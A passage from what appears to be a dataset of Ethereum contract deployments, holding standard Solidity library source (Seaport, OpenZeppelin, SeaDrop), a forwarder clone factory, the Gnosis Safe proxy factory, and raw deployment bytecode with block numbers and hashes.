value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int224 at `mPtr` in memory.\n function readInt224(\n MemoryPointer mPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int232 at `mPtr` in memory.\n function readInt232(\n MemoryPointer mPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int240 at `mPtr` in memory.\n function readInt240(\n MemoryPointer mPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int248 at `mPtr` in memory.\n function readInt248(\n MemoryPointer mPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int256 at `mPtr` in memory.\n function readInt256(\n MemoryPointer mPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n}\n\nlibrary MemoryWriters {\n /// @dev Writes `valuePtr` to memory at `mPtr`.\n function write(MemoryPointer mPtr, MemoryPointer valuePtr) internal pure {\n assembly {\n mstore(mPtr, valuePtr)\n }\n }\n\n /// @dev Writes a boolean `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, bool value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an address `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, address value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a bytes32 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeBytes32(MemoryPointer mPtr, bytes32 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a uint256 `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, uint256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an int256 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeInt(MemoryPointer mPtr, int256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.7;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check if target is a contract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(target.code.length > 0, \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"src/lib/ERC721SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n address paymentToken; // 400/512 bits\n uint16 maxTotalMintableByWallet; // 416/512 bits\n uint16 feeBps; // 432/512 bits\n bool restrictFeeRecipients; // 440/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 maxTotalMintableByWallet;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param quantity The number of tokens to mint.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256 quantity;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256 mintQuantity;\n}\n"
}
},
"settings": {
"remappings": [
"forge-std/=lib/forge-std/src/",
"ds-test/=lib/forge-std/lib/ds-test/src/",
"ERC721A/=lib/ERC721A/contracts/",
"ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/",
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
"@openzeppelin-upgradeable/contracts/=lib/openzeppelin-contracts-upgradeable/contracts/",
"@rari-capital/solmate/=lib/seaport/lib/solmate/",
"murky/=lib/murky/src/",
"create2-scripts/=lib/create2-helpers/script/",
"seadrop/=src/",
"seaport-sol/=lib/seaport/lib/seaport-sol/",
"seaport-types/=lib/seaport/lib/seaport-types/",
"seaport-core/=lib/seaport/lib/seaport-core/",
"seaport-test-utils/=lib/seaport/test/foundry/utils/",
"solady/=lib/solady/"
],
"optimizer": {
"enabled": true,
"runs": 99999999
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "none",
"appendCBOR": true
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "paris",
"libraries": {}
}
}}
|
1 | 19,497,379 |
1280dd05dc33623dbe1f798fe64c52194742cb00aeaafdbab36bd7103fc2f2b9
|
2e581108d72e3802ff41f80cfda7474937f0b173705322cf4df19e47355223bc
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
7955a9876ea83d54da2599b0cf0aa6e12ecf4e10
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,379 |
1280dd05dc33623dbe1f798fe64c52194742cb00aeaafdbab36bd7103fc2f2b9
|
0e2e522a36798645a388d678be1300169f12d2032442fa8575295d969cb4f2fb
|
90ec7c00ef61df7980e5e095ddae163b7f2aa700
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
b3f1e1c6435743d8191973b5a52a569cea83d9c2
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,497,380 |
23a0172fa4600fb3fdcba436225ba7a438f92daa929b08ab62f960e90695cb99
|
f0f06bf36dd29cd4b51c940ecb67f0d7c1d3649dcef5e1c6487a2dc87354c3a6
|
10530ef4e1d3417582cba529b6b86e3a2195b110
|
1f98431c8ad98523631ae4a59f267346ea31f984
|
0012c1c4da19861a5f299b9dcc1dcb5cfa4770aa
|
6101606040523480156200001257600080fd5b503060601b60805260408051630890357360e41b81529051600091339163890357309160048082019260a092909190829003018186803b1580156200005657600080fd5b505afa1580156200006b573d6000803e3d6000fd5b505050506040513d60a08110156200008257600080fd5b508051602080830151604084015160608086015160809096015160e896871b6001600160e81b0319166101005291811b6001600160601b031990811660e05292811b831660c0529390931b1660a052600282810b900b90921b610120529150620000f79082906200010f811b62002b8417901c565b60801b6001600160801b03191661014052506200017d565b60008082600281900b620d89e719816200012557fe5b05029050600083600281900b620d89e8816200013d57fe5b0502905060008460020b83830360020b816200015557fe5b0560010190508062ffffff166001600160801b038016816200017357fe5b0495945050505050565b60805160601c60a05160601c60c05160601c60e05160601c6101005160e81c6101205160e81c6101405160801c61567e6200024a60003980611fee5280614b5f5280614b96525080610c0052806128fd5280614bca5280614bfc525080610cef52806119cb5280611a0252806129455250806111c75280611a855280611ef4528061244452806129215280613e6b5250806108d252806112f55280611a545280611e8e52806123be5280613d2252508061207b528061227d52806128d9525080612bfb525061567e6000f3fe608060405234801561001057600080fd5b50600436106101ae5760003560e01c806370cf754a116100ee578063c45a015511610097578063ddca3f4311610071578063ddca3f4314610800578063f305839914610820578063f30dba9314610828578063f637731d146108aa576101ae565b8063c45a0155146107d1578063d0c93a7c146107d9578063d21220a7146107f8576101ae565b8063883bdbfd116100c8578063883bdbfd14610633578063a34123a71461073c578063a38807f214610776576101ae565b806370cf754a146105c65780638206a4d1146105ce57806385b66729146105f6576101ae565b80633850c7bd1161015b578063490e6cbc11610135578063490e6cbc146104705780634f1eb3d8146104fc578063514ea4bf1461054d5780635339c296146105a6576101ae565b80633850c7bd1461035b5780633c8a7d8d146103b45780634614131914610456576101ae565b80631ad8b03b1161018c5780631ad8b03b146102aa578063252c09d7146102e157806332148f6714610338576101ae565b80630dfe1681146101b3578063128acb08146101d75780631a68650214610286575b600080fd5b6101bb6108d0565b604080516001600160a01b039092168252519081900360200190f35b61026d600480360360a08110156101ed57600080fd5b6001600160a01b0382358116926020810135151592604082013592606083013516919081019060a08101608082013564010000000081111561022e57600080fd5b82018360208201111561024057600080fd5b8035906020019184600183028401116401000000008311171561026257600080fd5b